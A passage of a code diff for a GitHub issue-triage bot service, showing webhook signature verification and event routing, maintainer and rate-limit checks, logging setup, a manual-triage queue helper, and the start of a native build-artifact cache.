|
||||
return repo, issue
|
||||
|
||||
|
||||
__all__ = [
|
||||
"ACCEPT",
|
||||
"API_VERSION",
|
||||
"CommentInfo",
|
||||
"GitHubClient",
|
||||
"GitHubError",
|
||||
"IssueInfo",
|
||||
"IssueSummary",
|
||||
"PullRequestInfo",
|
||||
"PullRequestReviewInfo",
|
||||
"ReactionInfo",
|
||||
"RepoInfo",
|
||||
"ReviewCommentInfo",
|
||||
"parse_issue_payload",
|
||||
]
|
||||
@@ -0,0 +1,330 @@
|
||||
"""Typed webhook payload parsing + dispatch routing."""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import hashlib
|
||||
import hmac
|
||||
import logging
|
||||
import re
|
||||
from collections.abc import Callable, Mapping
|
||||
from dataclasses import dataclass
|
||||
from typing import Any, Literal
|
||||
|
||||
from robomp.db import issue_key
|
||||
from robomp.pragmas import parse_pragmas
|
||||
|
||||
log = logging.getLogger(__name__)
|
||||
|
||||
Decision = Literal["queue", "skip"]
|
||||
|
||||
|
||||
@dataclass(slots=True, frozen=True)
|
||||
class RouteDecision:
|
||||
decision: Decision
|
||||
task: str | None
|
||||
repo: str | None
|
||||
issue_key: str | None
|
||||
reason: str
|
||||
submitter: str | None = None
|
||||
association: str | None = None
|
||||
directive: bool = False
|
||||
directive_body: str | None = None
|
||||
directive_author: str | None = None
|
||||
directive_pragmas: tuple[tuple[str, str], ...] = ()
|
||||
|
||||
@property
|
||||
def should_queue(self) -> bool:
|
||||
return self.decision == "queue"
|
||||
|
||||
|
||||
def verify_signature(secret: str, body: bytes, signature_header: str | None) -> bool:
|
||||
"""Constant-time HMAC-SHA256 verification of `X-Hub-Signature-256`."""
|
||||
if not signature_header or not signature_header.startswith("sha256="):
|
||||
return False
|
||||
expected = hmac.new(secret.encode("utf-8"), body, hashlib.sha256).hexdigest()
|
||||
provided = signature_header.removeprefix("sha256=")
|
||||
return hmac.compare_digest(expected, provided)
|
||||
|
||||
|
||||
def _repo_full_name(payload: Mapping[str, Any]) -> str | None:
|
||||
repo = payload.get("repository")
|
||||
if isinstance(repo, dict):
|
||||
full = repo.get("full_name")
|
||||
if isinstance(full, str):
|
||||
return full
|
||||
return None
|
||||
|
||||
|
||||
PrIssueResolver = Callable[[str, int], str | None] | None
|
||||
|
||||
|
||||
def _is_bot_account(user: Mapping[str, Any] | None, bot_login: str) -> bool:
|
||||
if not isinstance(user, Mapping):
|
||||
return False
|
||||
login = str(user.get("login") or "")
|
||||
if not login:
|
||||
return False
|
||||
if login == bot_login:
|
||||
return True
|
||||
if login.endswith("[bot]"):
|
||||
return True
|
||||
if str(user.get("type") or "") == "Bot":
|
||||
return True
|
||||
return False
|
||||
|
||||
|
||||
def _submitter_info(obj: Mapping[str, Any] | None) -> tuple[str | None, str | None]:
|
||||
"""Extract `(login, author_association)` from an issue/comment object."""
|
||||
if not isinstance(obj, Mapping):
|
||||
return None, None
|
||||
user = obj.get("user")
|
||||
login: str | None = None
|
||||
if isinstance(user, Mapping):
|
||||
raw = user.get("login")
|
||||
if isinstance(raw, str) and raw:
|
||||
login = raw
|
||||
assoc = obj.get("author_association")
|
||||
return login, (str(assoc) if isinstance(assoc, str) and assoc else None)
|
||||
|
||||
|
||||
def extract_mention(body: str | None, bot_login: str) -> str | None:
|
||||
"""Return `body` with `@<bot_login>` mentions stripped, or None if no mention.
|
||||
|
||||
Match is case-insensitive and word-boundary aware (hyphens in logins are
|
||||
part of the token, so `@robomp-bot` does NOT match `@robomp-bot-extra`).
|
||||
"""
|
||||
if not isinstance(body, str) or not body:
|
||||
return None
|
||||
login = bot_login.strip()
|
||||
if not login:
|
||||
return None
|
||||
pattern = re.compile(
|
||||
rf"(?<![A-Za-z0-9_-])@{re.escape(login)}(?![A-Za-z0-9_-])",
|
||||
re.IGNORECASE,
|
||||
)
|
||||
if not pattern.search(body):
|
||||
return None
|
||||
stripped = pattern.sub("", body)
|
||||
# Collapse the whitespace the strip leaves behind without mangling the rest.
|
||||
stripped = re.sub(r"[ \t]+", " ", stripped)
|
||||
stripped = re.sub(r"\n[ \t]+", "\n", stripped)
|
||||
return stripped.strip()
|
||||
|
||||
|
||||
def is_maintainer(
|
||||
login: str | None,
|
||||
association: str | None,
|
||||
*,
|
||||
maintainers: frozenset[str],
|
||||
) -> bool:
|
||||
"""A maintainer is anyone in `maintainers` or with a trusted association."""
|
||||
if isinstance(login, str) and login and login.lower() in maintainers:
|
||||
return True
|
||||
if isinstance(association, str) and association.upper() in TRUSTED_ASSOCIATIONS:
|
||||
return True
|
||||
return False
|
||||
|
||||
|
||||
def route(
|
||||
event_type: str,
|
||||
payload: Mapping[str, Any],
|
||||
*,
|
||||
allowlist: frozenset[str],
|
||||
bot_login: str,
|
||||
maintainers: frozenset[str] = frozenset(),
|
||||
reviewer_bots: frozenset[str] = frozenset(),
|
||||
resolve_issue_from_pr: PrIssueResolver = None,
|
||||
) -> RouteDecision:
|
||||
"""Decide whether and how to handle a webhook event.
|
||||
|
||||
`resolve_issue_from_pr(repo, pr_number)` maps a PR number back to its
|
||||
originating-issue key (e.g. `octo/widget#42`). PR-derived events prefer
|
||||
that key so follow-ups serialize with the original issue. If the mapping
|
||||
is missing, the event is still actionable and falls back to the PR's own
|
||||
issue key (`octo/widget#1080`).
|
||||
"""
|
||||
repo = _repo_full_name(payload)
|
||||
if repo is None or repo.lower() not in allowlist:
|
||||
return RouteDecision("skip", None, repo, None, "repo not on allowlist")
|
||||
|
||||
action = str(payload.get("action") or "")
|
||||
|
||||
def _resolve_pr_key(pr_number: int) -> str:
|
||||
if resolve_issue_from_pr is not None:
|
||||
resolved = resolve_issue_from_pr(repo, pr_number) # type: ignore[arg-type]
|
||||
if resolved:
|
||||
return resolved
|
||||
return issue_key(repo, pr_number) # type: ignore[arg-type]
|
||||
|
||||
def _reviewer_bot_login(user: Mapping[str, Any] | None) -> str | None:
|
||||
"""Return the lowercased login if this user is a configured reviewer bot."""
|
||||
if not isinstance(user, Mapping):
|
||||
return None
|
||||
login = str(user.get("login") or "").lower()
|
||||
return login if login and login in reviewer_bots else None
|
||||
|
||||
def _directive_kwargs(comment: Mapping[str, Any] | None, login: str | None, assoc: str | None) -> dict[str, Any]:
|
||||
"""Decide whether this comment is a directive (reviewer-bot OR maintainer-mention)."""
|
||||
if not isinstance(comment, Mapping):
|
||||
return {}
|
||||
body = str(comment.get("body") or "")
|
||||
rb_login = _reviewer_bot_login(comment.get("user"))
|
||||
if rb_login is not None:
|
||||
# Reviewer bots like chatgpt-codex-connector speak authoritatively
|
||||
# already — no `@bot` mention required; pass the full body through.
|
||||
cleaned, pragmas = parse_pragmas(body)
|
||||
return {
|
||||
"directive": True,
|
||||
"directive_body": cleaned,
|
||||
"directive_author": rb_login,
|
||||
"directive_pragmas": pragmas,
|
||||
}
|
||||
if not is_maintainer(login, assoc, maintainers=maintainers):
|
||||
return {}
|
||||
stripped = extract_mention(body, bot_login)
|
||||
if stripped is None:
|
||||
return {}
|
||||
cleaned, pragmas = parse_pragmas(stripped)
|
||||
return {
|
||||
"directive": True,
|
||||
"directive_body": cleaned,
|
||||
"directive_author": login,
|
||||
"directive_pragmas": pragmas,
|
||||
}
|
||||
|
||||
if event_type == "issues":
|
||||
issue = payload.get("issue") or {}
|
||||
if "pull_request" in issue:
|
||||
return RouteDecision("skip", None, repo, None, "issue is a pull request")
|
||||
number = issue.get("number")
|
||||
if not isinstance(number, int):
|
||||
return RouteDecision("skip", None, repo, None, "issue missing number")
|
||||
key = issue_key(repo, number)
|
||||
if action == "opened":
|
||||
login, assoc = _submitter_info(issue)
|
||||
return RouteDecision(
|
||||
"queue", "triage_issue", repo, key, "issues.opened", submitter=login, association=assoc
|
||||
)
|
||||
if action == "closed":
|
||||
# Cleanup is a lifecycle event, not a user submission; no rate-limit subject.
|
||||
return RouteDecision("queue", "cleanup_workspace", repo, key, "issues.closed")
|
||||
return RouteDecision("skip", None, repo, key, f"issues.{action} ignored")
|
||||
|
||||
if event_type == "issue_comment" and action == "created":
|
||||
comment = payload.get("comment") or {}
|
||||
rb_login = _reviewer_bot_login(comment.get("user"))
|
||||
if rb_login is None and _is_bot_account(comment.get("user"), bot_login):
|
||||
return RouteDecision("skip", None, repo, None, "bot/self comment")
|
||||
issue = payload.get("issue") or {}
|
||||
number = issue.get("number")
|
||||
if not isinstance(number, int):
|
||||
return RouteDecision("skip", None, repo, None, "comment missing issue number")
|
||||
if "pull_request" in issue:
|
||||
# Conversation comment on a PR. The PR number lives at issue.number
|
||||
# on this payload type. Prefer the originating issue key when the
|
||||
# DB has it, but do not drop bot-authored follow-ups just because
|
||||
# the PR mapping was lost; the worker can recover from the PR
|
||||
# branch or handle the PR directly.
|
||||
key = _resolve_pr_key(number)
|
||||
login, assoc = _submitter_info(comment)
|
||||
return RouteDecision(
|
||||
"queue",
|
||||
"handle_pr_conversation",
|
||||
repo,
|
||||
key,
|
||||
f"issue_comment.created on PR #{number}",
|
||||
submitter=login,
|
||||
association=assoc,
|
||||
**_directive_kwargs(comment, login, assoc),
|
||||
)
|
||||
key = issue_key(repo, number)
|
||||
login, assoc = _submitter_info(comment)
|
||||
return RouteDecision(
|
||||
"queue",
|
||||
"handle_comment",
|
||||
repo,
|
||||
key,
|
||||
"issue_comment.created",
|
||||
submitter=login,
|
||||
association=assoc,
|
||||
**_directive_kwargs(comment, login, assoc),
|
||||
)
|
||||
|
||||
if event_type == "pull_request_review_comment" and action == "created":
|
||||
comment = payload.get("comment") or {}
|
||||
rb_login = _reviewer_bot_login(comment.get("user"))
|
||||
if rb_login is None and _is_bot_account(comment.get("user"), bot_login):
|
||||
return RouteDecision("skip", None, repo, None, "bot/self review comment")
|
||||
pr = payload.get("pull_request") or {}
|
||||
pr_user = pr.get("user") or {}
|
||||
if str(pr_user.get("login") or "") != bot_login:
|
||||
return RouteDecision("skip", None, repo, None, "PR not authored by bot")
|
||||
number = pr.get("number")
|
||||
if not isinstance(number, int):
|
||||
return RouteDecision("skip", None, repo, None, "PR missing number")
|
||||
key = _resolve_pr_key(number)
|
||||
login, assoc = _submitter_info(comment)
|
||||
return RouteDecision(
|
||||
"queue",
|
||||
"handle_review",
|
||||
repo,
|
||||
key,
|
||||
"pull_request_review_comment.created",
|
||||
submitter=login,
|
||||
association=assoc,
|
||||
**_directive_kwargs(comment, login, assoc),
|
||||
)
|
||||
|
||||
if event_type == "pull_request" and action == "closed":
|
||||
pr = payload.get("pull_request") or {}
|
||||
pr_user = pr.get("user") or {}
|
||||
if str(pr_user.get("login") or "") != bot_login:
|
||||
return RouteDecision("skip", None, repo, None, "PR not bot-authored")
|
||||
if not bool(pr.get("merged")):
|
||||
return RouteDecision("skip", None, repo, None, "PR closed without merge")
|
||||
number = pr.get("number")
|
||||
if not isinstance(number, int):
|
||||
return RouteDecision("skip", None, repo, None, "PR missing number")
|
||||
return RouteDecision("queue", "cleanup_workspace", repo, _resolve_pr_key(number), "pull_request.merged")
|
||||
|
||||
return RouteDecision("skip", None, repo, None, f"{event_type}.{action} not handled")
|
||||
|
||||
|
||||
TRUSTED_ASSOCIATIONS: frozenset[str] = frozenset({"OWNER", "MEMBER", "COLLABORATOR"})
|
||||
"""GitHub `author_association` values that bypass per-user rate limiting."""
|
||||
|
||||
|
||||
def rate_limit_cap(
|
||||
login: str,
|
||||
association: str | None,
|
||||
*,
|
||||
unlimited: frozenset[str],
|
||||
default: int,
|
||||
contributor: int,
|
||||
) -> int | None:
|
||||
"""Return the per-window submission cap for a submitter, or `None` for unlimited.
|
||||
|
||||
Precedence: explicit `unlimited` allowlist > trusted GitHub association
|
||||
(`OWNER`/`MEMBER`/`COLLABORATOR`) > `CONTRIBUTOR` tier > default tier.
|
||||
"""
|
||||
if login.lower() in unlimited:
|
||||
return None
|
||||
if association:
|
||||
upper = association.upper()
|
||||
if upper in TRUSTED_ASSOCIATIONS:
|
||||
return None
|
||||
if upper == "CONTRIBUTOR":
|
||||
return contributor
|
||||
return default
|
||||
|
||||
|
||||
__all__ = [
|
||||
"Decision",
|
||||
"RouteDecision",
|
||||
"TRUSTED_ASSOCIATIONS",
|
||||
"extract_mention",
|
||||
"is_maintainer",
|
||||
"rate_limit_cap",
|
||||
"route",
|
||||
"verify_signature",
|
||||
]
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,179 @@
|
||||
"""Logging configuration for roboomp — JSON to file, pretty ANSI to stdout."""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import json
|
||||
import logging
|
||||
import logging.handlers
|
||||
import sys
|
||||
import time
|
||||
from pathlib import Path
|
||||
from typing import Any
|
||||
|
||||
_RESERVED = frozenset(
|
||||
{
|
||||
"args",
|
||||
"asctime",
|
||||
"created",
|
||||
"exc_info",
|
||||
"exc_text",
|
||||
"filename",
|
||||
"funcName",
|
||||
"levelname",
|
||||
"levelno",
|
||||
"lineno",
|
||||
"message",
|
||||
"module",
|
||||
"msecs",
|
||||
"msg",
|
||||
"name",
|
||||
"pathname",
|
||||
"process",
|
||||
"processName",
|
||||
"relativeCreated",
|
||||
"stack_info",
|
||||
"thread",
|
||||
"threadName",
|
||||
"taskName",
|
||||
}
|
||||
)
|
||||
|
||||
# ── ANSI helpers ──────────────────────────────────────────────────────────────
|
||||
|
||||
_RST = "\033[0m"
|
||||
_DIM = "\033[2m"
|
||||
|
||||
_LEVEL_COLOR: dict[str, str] = {
|
||||
"DEBUG": "\033[34m", # blue
|
||||
"INFO": "\033[32m", # green
|
||||
"WARNING": "\033[33m", # yellow
|
||||
"ERROR": "\033[31m", # red
|
||||
"CRITICAL": "\033[1;31m", # bold red
|
||||
}
|
||||
|
||||
# Fields that uvicorn injects and that are not useful in pretty output.
|
||||
_PRETTY_SKIP = _RESERVED | {"color_message", "color_levelname"}
|
||||
|
||||
|
||||
class PrettyFormatter(logging.Formatter):
|
||||
"""Human-readable single-line formatter with ANSI colour.
|
||||
|
||||
Output shape:
|
||||
HH:MM:SS LEVEL logger.name message key=val key2=val2
|
||||
"""
|
||||
|
||||
def format(self, record: logging.LogRecord) -> str: # noqa: A003
|
||||
ts = time.strftime("%H:%M:%S", time.gmtime(record.created))
|
||||
color = _LEVEL_COLOR.get(record.levelname, "")
|
||||
level = f"{color}{record.levelname:<8}{_RST}"
|
||||
# Strip the package prefix to save width; keeps uvicorn.*, httpx, etc.
|
||||
name = record.name.removeprefix("robomp.")
|
||||
logger_col = f"{_DIM}{name:<22}{_RST}"
|
||||
msg = record.getMessage()
|
||||
|
||||
extras: list[str] = []
|
||||
for key, val in record.__dict__.items():
|
||||
if key in _PRETTY_SKIP or key.startswith("_"):
|
||||
continue
|
||||
extras.append(f"{key}={val}")
|
||||
|
||||
line = f"{_DIM}{ts}{_RST} {level} {logger_col} {msg}"
|
||||
if extras:
|
||||
line += f" {_DIM}{' '.join(extras)}{_RST}"
|
||||
if record.exc_info:
|
||||
line += "\n" + self.formatException(record.exc_info)
|
||||
if record.stack_info:
|
||||
line += "\n" + self.formatStack(record.stack_info)
|
||||
return line
|
||||
|
||||
|
||||
# ── JSON formatter (kept for file handler) ────────────────────────────────────
|
||||
|
||||
|
||||
class JsonFormatter(logging.Formatter):
|
||||
def format(self, record: logging.LogRecord) -> str: # noqa: A003
|
||||
payload: dict[str, Any] = {
|
||||
"ts": time.strftime("%Y-%m-%dT%H:%M:%SZ", time.gmtime(record.created)),
|
||||
"level": record.levelname,
|
||||
"logger": record.name,
|
||||
"msg": record.getMessage(),
|
||||
}
|
||||
if record.exc_info:
|
||||
payload["exc"] = self.formatException(record.exc_info)
|
||||
for key, value in record.__dict__.items():
|
||||
if key in _RESERVED or key.startswith("_"):
|
||||
continue
|
||||
try:
|
||||
json.dumps(value, default=str)
|
||||
payload[key] = value
|
||||
except (TypeError, ValueError):
|
||||
payload[key] = repr(value)
|
||||
return json.dumps(payload, default=str)
|
||||
|
||||
|
||||
# ── Setup ─────────────────────────────────────────────────────────────────────
|
||||
|
||||
# Dashboard polls these endpoints every couple seconds; mute them in access logs.
|
||||
_ACCESS_MUTE_PATHS = ("/api/status", "/api/logs", "/healthz", "/readyz")
|
||||
|
||||
|
||||
class _MuteDashboardPolling(logging.Filter):
|
||||
"""Drop uvicorn.access lines for high-frequency dashboard polling."""
|
||||
|
||||
def filter(self, record: logging.LogRecord) -> bool: # noqa: A003
|
||||
args = record.args
|
||||
# uvicorn.access format: '%s - "%s %s HTTP/%s" %d'
|
||||
# args = (client_addr, method, full_path, http_version, status_code)
|
||||
if isinstance(args, tuple) and len(args) >= 3:
|
||||
method, path = args[1], args[2]
|
||||
if method == "GET" and isinstance(path, str):
|
||||
base = path.split("?", 1)[0]
|
||||
if base in _ACCESS_MUTE_PATHS:
|
||||
return False
|
||||
return True
|
||||
|
||||
|
||||
_INITIALIZED = False
|
||||
|
||||
|
||||
def configure_logging(log_dir: Path | None = None, level: int = logging.INFO) -> None:
|
||||
"""Idempotently configure logging: pretty ANSI to stdout, JSON to file."""
|
||||
global _INITIALIZED
|
||||
if _INITIALIZED:
|
||||
return
|
||||
root = logging.getLogger()
|
||||
root.setLevel(level)
|
||||
for handler in list(root.handlers):
|
||||
root.removeHandler(handler)
|
||||
|
||||
stream = logging.StreamHandler(sys.stdout)
|
||||
stream.setFormatter(PrettyFormatter())
|
||||
root.addHandler(stream)
|
||||
|
||||
if log_dir is not None:
|
||||
log_dir.mkdir(parents=True, exist_ok=True)
|
||||
file_handler = logging.handlers.RotatingFileHandler(
|
||||
log_dir / "robomp.log.jsonl",
|
||||
maxBytes=10 * 1024 * 1024,
|
||||
backupCount=5,
|
||||
encoding="utf-8",
|
||||
)
|
||||
file_handler.setFormatter(JsonFormatter())
|
||||
root.addHandler(file_handler)
|
||||
|
||||
logging.getLogger("httpx").setLevel(logging.WARNING)
|
||||
logging.getLogger("httpcore").setLevel(logging.WARNING)
|
||||
logging.getLogger("uvicorn.access").addFilter(_MuteDashboardPolling())
|
||||
_INITIALIZED = True
|
||||
|
||||
|
||||
def reset_logging_for_tests() -> None:
|
||||
global _INITIALIZED
|
||||
_INITIALIZED = False
|
||||
root = logging.getLogger()
|
||||
for handler in list(root.handlers):
|
||||
root.removeHandler(handler)
|
||||
|
||||
|
||||
def get_logger(name: str) -> logging.Logger:
|
||||
return logging.getLogger(name)
|
||||
@@ -0,0 +1,158 @@
|
||||
"""Manually enqueue an issue as if a webhook arrived.
|
||||
|
||||
Shared by the `robomp triage` CLI and the dashboard's POST /api/trigger.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import asyncio
|
||||
import re
|
||||
import time
|
||||
from typing import Any
|
||||
|
||||
from robomp.db import INACTIVE_EVENT_STATES, Database, EventRow, issue_key
|
||||
from robomp.github_backend import GitHubBackend
|
||||
|
||||
_ISSUE_REF = re.compile(r"^(?P<owner>[^/\s]+)/(?P<repo>[^#\s]+)#(?P<number>\d+)$")
|
||||
|
||||
|
||||
class InvalidIssueRef(ValueError):
|
||||
"""Raised when the user-supplied issue reference can't be parsed."""
|
||||
|
||||
|
||||
class ManualTriageError(ValueError):
|
||||
"""Raised when a live GitHub issue cannot be manually triaged."""
|
||||
|
||||
|
||||
class ManualTriageConflict(RuntimeError):
|
||||
"""Raised when a stable manual delivery id is already active."""
|
||||
|
||||
def __init__(self, delivery_id: str, state: str) -> None:
|
||||
self.delivery_id = delivery_id
|
||||
self.state = state
|
||||
super().__init__(f"{delivery_id} is already {state}")
|
||||
|
||||
|
||||
class ManualTriageTimeout(TimeoutError):
|
||||
"""Raised when a manual CLI waiter stops before terminal state."""
|
||||
|
||||
def __init__(self, delivery_id: str, state: str, timeout_seconds: float) -> None:
|
||||
self.delivery_id = delivery_id
|
||||
self.state = state
|
||||
self.timeout_seconds = timeout_seconds
|
||||
super().__init__(f"{delivery_id} did not reach a terminal state within {timeout_seconds:g}s (state={state})")
|
||||
|
||||
|
||||
def parse_issue_ref(ref: str) -> tuple[str, int]:
|
||||
"""Parse `owner/repo#NN` into `("owner/repo", NN)`."""
|
||||
match = _ISSUE_REF.match(ref.strip())
|
||||
if match is None:
|
||||
raise InvalidIssueRef(f"expected owner/repo#NN, got {ref!r}")
|
||||
return f"{match.group('owner')}/{match.group('repo')}", int(match.group("number"))
|
||||
|
||||
|
||||
def manual_delivery_id(repo_full: str, number: int) -> str:
|
||||
"""Stable delivery id for manually-triggered triage. Re-runs reuse it."""
|
||||
return f"manual-{repo_full.replace('/', '__')}-{number}"
|
||||
|
||||
|
||||
async def build_issues_opened_payload(github: GitHubBackend, repo_full: str, number: int) -> dict[str, Any]:
|
||||
"""Fetch the issue + repo metadata and synthesize an `issues.opened` payload."""
|
||||
issue = await github.get_issue(repo_full, number)
|
||||
if issue.is_pull_request:
|
||||
raise ManualTriageError(f"{repo_full}#{number} is a pull request, not an issue")
|
||||
repo = await github.get_repo(repo_full)
|
||||
return {
|
||||
"action": "opened",
|
||||
"issue": {
|
||||
"number": issue.number,
|
||||
"title": issue.title,
|
||||
"body": issue.body,
|
||||
"state": issue.state,
|
||||
"user": {"login": issue.author},
|
||||
"labels": [{"name": lbl} for lbl in issue.labels],
|
||||
},
|
||||
"repository": {
|
||||
"full_name": repo.full_name,
|
||||
"default_branch": repo.default_branch,
|
||||
"clone_url": repo.clone_url,
|
||||
"private": repo.private,
|
||||
},
|
||||
}
|
||||
|
||||
|
||||
async def enqueue_manual_triage(*, db: Database, github: GitHubBackend, repo_full: str, number: int) -> str:
|
||||
"""Fetch the issue from GitHub and queue it for the worker pool.
|
||||
|
||||
Returns the delivery_id. A row may already exist from a previous manual
|
||||
triage; inactive rows are replaced so the fresh payload (and reset attempt
|
||||
counter) wins. Active rows are left intact.
|
||||
"""
|
||||
delivery = manual_delivery_id(repo_full, number)
|
||||
existing = db.get_event(delivery)
|
||||
if existing is not None and existing.state in ("queued", "running"):
|
||||
raise ManualTriageConflict(delivery, existing.state)
|
||||
|
||||
payload = await build_issues_opened_payload(github, repo_full, number)
|
||||
replaced = db.replace_event_if_state_in(
|
||||
delivery_id=delivery,
|
||||
event_type="issues",
|
||||
repo=repo_full,
|
||||
issue_key=issue_key(repo_full, number),
|
||||
payload=payload,
|
||||
state="queued",
|
||||
allowed_existing_states=INACTIVE_EVENT_STATES,
|
||||
)
|
||||
if not replaced:
|
||||
current = db.get_event(delivery)
|
||||
state = current.state if current is not None else "active"
|
||||
raise ManualTriageConflict(delivery, state)
|
||||
return delivery
|
||||
|
||||
|
||||
_TERMINAL_STATES: tuple[str, ...] = ("done", "failed", "skipped")
|
||||
|
||||
|
||||
async def await_terminal_state(
|
||||
db: Database,
|
||||
delivery_id: str,
|
||||
*,
|
||||
poll_interval: float = 2.0,
|
||||
timeout: float | None = None,
|
||||
) -> EventRow | None:
|
||||
"""Block until the event row reaches a terminal state, vanishes, or times out.
|
||||
|
||||
Pure DB polling — the caller MUST NOT spawn its own ``WorkerPool``; the
|
||||
long-lived ``serve`` process is the only owner of the dispatcher loop.
|
||||
Returns the final row, or ``None`` if the row was deleted while waiting.
|
||||
Raises ``ManualTriageTimeout`` if ``timeout`` elapses first.
|
||||
"""
|
||||
deadline = None if timeout is None else time.monotonic() + timeout
|
||||
while True:
|
||||
row = db.get_event(delivery_id)
|
||||
if row is None:
|
||||
return None
|
||||
if row.state in _TERMINAL_STATES:
|
||||
return row
|
||||
|
||||
sleep_for = poll_interval
|
||||
if deadline is not None:
|
||||
remaining = deadline - time.monotonic()
|
||||
if remaining <= 0:
|
||||
assert timeout is not None
|
||||
raise ManualTriageTimeout(delivery_id, row.state, timeout)
|
||||
sleep_for = min(poll_interval, remaining)
|
||||
await asyncio.sleep(sleep_for)
|
||||
|
||||
|
||||
__all__ = [
|
||||
"InvalidIssueRef",
|
||||
"ManualTriageError",
|
||||
"ManualTriageConflict",
|
||||
"ManualTriageTimeout",
|
||||
"await_terminal_state",
|
||||
"build_issues_opened_payload",
|
||||
"enqueue_manual_triage",
|
||||
"manual_delivery_id",
|
||||
"parse_issue_ref",
|
||||
]
|
||||
@@ -0,0 +1,485 @@
|
||||
"""Content-addressed cache of pre-built ``packages/natives/native/`` artifacts.
|
||||
|
||||
The napi-rs build of ``pi_natives.<platform>-<arch>[-variant].node`` takes
|
||||
minutes. Most issues never touch ``crates/``, so the same artifact is
|
||||
buildable in every workspace whose source state matches one we've already
|
||||
built. This module:
|
||||
|
||||
1. Computes a deterministic key from the git tree-hashes of the inputs that
|
||||
determine the build output, plus the target triple.
|
||||
2. On workspace populate: hardlinks cached files into the worktree's
|
||||
``packages/natives/native/`` (a noop on cache miss).
|
||||
3. On successful task exit: captures the workspace's freshly-built artifacts
|
||||
into the cache under its (possibly new) key.
|
||||
|
||||
Hardlink semantics give COW for free: every tool in the napi build path
|
||||
replaces files via write-temp + rename, so a workspace rebuilding the addon
|
||||
allocates a new inode and leaves the cached file untouched. Cache GC is by
|
||||
LRU on ``manifest.json.captured_at``; hardlinked workspaces keep the inode
|
||||
alive after the cache directory is rmtree'd.
|
||||
|
||||
Ownership: cache root is provisioned ``root:omp 02770`` by ``entrypoint.sh``
|
||||
so slot subprocesses (group ``omp``) can capture under setgid inheritance.
|
||||
Same shape as ``/data/cache/cargo``.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import errno
|
||||
import fcntl
|
||||
import hashlib
|
||||
import json
|
||||
import logging
|
||||
import os
|
||||
import platform
|
||||
import shutil
|
||||
import subprocess
|
||||
import sys
|
||||
import time
|
||||
from collections.abc import Generator
|
||||
from contextlib import contextmanager
|
||||
from dataclasses import dataclass
|
||||
from pathlib import Path
|
||||
from typing import IO
|
||||
|
||||
log = logging.getLogger(__name__)
|
||||
|
||||
|
||||
# Paths whose git tree-hash feeds the cache key. Order is significant — the
|
||||
# hash incorporates the (path, tree_hash) pairs in this exact order so a
|
||||
# different ordering would produce a different key. Cover every input the
|
||||
# napi build reads: all workspace crates (pi-natives transitively depends on
|
||||
# pi-ast/pi-iso/pi-shell), the workspace Cargo manifest + lock, the rust
|
||||
# toolchain pin, and the natives package itself (build script + scripts/* +
|
||||
# package.json with napi config).
|
||||
CACHE_KEY_PATHS: tuple[str, ...] = (
|
||||
"crates",
|
||||
"Cargo.lock",
|
||||
"Cargo.toml",
|
||||
"rust-toolchain.toml",
|
||||
"packages/natives",
|
||||
)
|
||||
|
||||
# Files in ``packages/natives/native/`` that ARE pure functions of the
|
||||
# cache-key inputs and travel as a unit. ``.node`` is matched by glob since
|
||||
# the basename embeds the target triple + variant.
|
||||
_CACHED_NODE_GLOB = "pi_natives.*.node"
|
||||
_CACHED_COMPANION_FILES: tuple[str, ...] = (
|
||||
"index.d.ts",
|
||||
"index.js",
|
||||
"embedded-addon.js",
|
||||
)
|
||||
_MANIFEST_FILENAME = "manifest.json"
|
||||
_LOCKFILE_NAME = ".lock"
|
||||
|
||||
_NULL_TREE_HASH = "0" * 40 # placeholder for paths missing from HEAD
|
||||
|
||||
|
||||
def _normalize_platform() -> str:
|
||||
"""Mirror node's ``process.platform`` so the cache key matches
|
||||
``build-native.ts``'s filename convention."""
|
||||
s = sys.platform
|
||||
if s.startswith("linux"):
|
||||
return "linux"
|
||||
if s == "darwin":
|
||||
return "darwin"
|
||||
if s in ("win32", "cygwin"):
|
||||
return "win32"
|
||||
return s
|
||||
|
||||
|
||||
def _normalize_arch() -> str:
|
||||
"""Mirror node's ``process.arch``."""
|
||||
m = platform.machine().lower()
|
||||
if m in ("x86_64", "amd64"):
|
||||
return "x64"
|
||||
if m in ("aarch64", "arm64"):
|
||||
return "arm64"
|
||||
return m
|
||||
|
||||
|
||||
def target_triple() -> str:
|
||||
"""``<platform>-<arch>[-<variant>]`` matching the napi addon basename.
|
||||
|
||||
``TARGET_VARIANT`` is honored only on x64 (the build script enforces the
|
||||
same restriction). On x64 hosts that leave the variant unset we encode
|
||||
``host`` to keep the key stable across workspaces on the same machine
|
||||
without trying to autodetect AVX2 from Python.
|
||||
"""
|
||||
plat = _normalize_platform()
|
||||
arch = _normalize_arch()
|
||||
if arch != "x64":
|
||||
return f"{plat}-{arch}"
|
||||
variant = os.environ.get("TARGET_VARIANT", "").strip() or "host"
|
||||
return f"{plat}-{arch}-{variant}"
|
||||
|
||||
|
||||
def _git_safe_directory_env(repo_dir: Path) -> dict[str, str]:
|
||||
"""Env overlay that whitelists ``repo_dir`` for git's safe.directory check.
|
||||
|
||||
The orchestrator runs as root but workspaces are owned by the slot UID
|
||||
(see ``SandboxManager._chown_workspace``). Without this whitelist, every
|
||||
git invocation from the orchestrator on a slot-owned repo aborts with
|
||||
"fatal: detected dubious ownership". Mirrors
|
||||
``robomp.sandbox._safe_directory_env`` but kept local to avoid a circular
|
||||
import (sandbox imports this module).
|
||||
"""
|
||||
env = os.environ.copy()
|
||||
count = int(env.get("GIT_CONFIG_COUNT", "0"))
|
||||
env[f"GIT_CONFIG_KEY_{count}"] = "safe.directory"
|
||||
env[f"GIT_CONFIG_VALUE_{count}"] = str(repo_dir)
|
||||
env["GIT_CONFIG_COUNT"] = str(count + 1)
|
||||
return env
|
||||
|
||||
|
||||
def compute_key(repo_dir: Path, *, target: str | None = None) -> str:
|
||||
"""Deterministic sha256 over the git tree-hashes of cache-key paths.
|
||||
|
||||
Uses ``git cat-file --batch-check`` for one subprocess invocation. Missing
|
||||
paths fold in as a fixed null hash so the key remains deterministic
|
||||
across repos that don't ship every input file.
|
||||
|
||||
Raises ``subprocess.CalledProcessError`` if ``git`` itself fails (e.g.
|
||||
not a repo) — callers SHOULD treat that as "no cache" and proceed.
|
||||
"""
|
||||
tgt = target if target is not None else target_triple()
|
||||
stdin = "".join(f"HEAD:{p}\n" for p in CACHE_KEY_PATHS)
|
||||
proc = subprocess.run(
|
||||
